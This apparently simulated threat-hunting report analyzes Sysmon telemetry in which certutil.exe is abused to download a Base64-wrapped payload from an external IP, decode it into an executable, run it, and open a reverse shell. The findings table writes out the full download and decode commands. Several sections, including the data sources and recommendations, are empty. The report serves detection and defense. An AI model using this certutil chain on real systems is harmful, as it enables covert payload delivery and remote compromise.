← All Threat Hunting ReportsThreat Hunting Exercise

Threat Hunting Exercise: Analyzing Windows Certutil LOLBIN Payload Download Encode Dataset

This hunt uses a simulated endpoint telemetry dataset (win_sysmon_certutil_2022-09-23T101500.json) capturing T1105: Ingress Tool Transfer via T1140/T1027 (Certutil Decode), where an attacker abuses the built-in certutil.exe certificate utility's undocumented -urlcache and -decode flags to download and deobfuscate a Base64-encoded payload without triggering typical downloader signatures.

Step 1: Hypothesis Formation

Hypothesis: certutil.exe is invoked with -urlcache -split -f referencing an external URL, or with -decode referencing a locally staged file, outside of any PKI/certificate-management context - indicating abuse as a LOLBIN downloader/decoder rather than genuine certificate operations. Indicators:

Null Hypothesis: An IT administrator is using certutil for its legitimate purpose - validating or exporting a certificate - as part of PKI operations. Invalidate by confirming the command targets an actual .cer/.pfx file and matches a documented certificate task.

Rationale: certutil.exe is signed, native, and rarely restricted by application allow-listing since it is considered a core system utility, making it a durable and popular LOLBIN for both ingress tool transfer and defense evasion (Base64 decode bypassing plaintext signature scans).

Step 2: Data Sources and Scope

Step 3: Key Findings

Parsed events (5 shown) confirm certutil.exe was used first to download a Base64-encoded payload from an external URL and then to decode it into an executable, which was immediately run.

Timestamp (UTC)HostEventDetailIOC/Why Suspicious?
2022-09-23 10:17:33WKS-OPS-041Sysmon Event ID 1certutil.exe -urlcache -split -f http://45.148.10.92/upd.txt C:\Users\Public\upd.txt launched from cmd.exeLOLBIN-Download IOC: -urlcache -split -f is the well-documented certutil argument set for fetching arbitrary remote files, entirely unrelated to certificate management.
2022-09-23 10:17:34WKS-OPS-041Sysmon Event ID 11C:\Users\Public\upd.txt created, 512 KB, content begins with Base64-armored -----BEGIN CERTIFICATE----- wrapperObfuscation-Container IOC: attackers wrap payloads in fake certificate PEM headers specifically so certutil -decode will process them.
2022-09-23 10:17:41WKS-OPS-041Sysmon Event ID 1certutil.exe -decode C:\Users\Public\upd.txt C:\Users\Public\upd.exeLOLBIN-Decode IOC: this decode step converts the disguised payload into a directly executable binary, bypassing plaintext-signature-based downloader detections.
2022-09-23 10:17:55WKS-OPS-041Sysmon Event ID 1upd.exe executed from C:\Users\Public\, immediately spawning a reverse-shell connectionExecution-Confirmation IOC: the decoded payload runs and establishes outbound C2, confirming malicious intent rather than incidental PKI activity.
-WKS-OPS-041(PKI context check)No enterprise certificate management task, GPO, or scheduled job references certutil on this hostConfirms this is not part of any legitimate certificate lifecycle operation.

Validation:

Step 4: Recommendations & Next Steps

Hypothesis confirmed - an attacker abused the native certutil.exe utility to download a disguised payload and decode it into an executable, entirely bypassing standard downloader detections before establishing a reverse-shell C2 connection!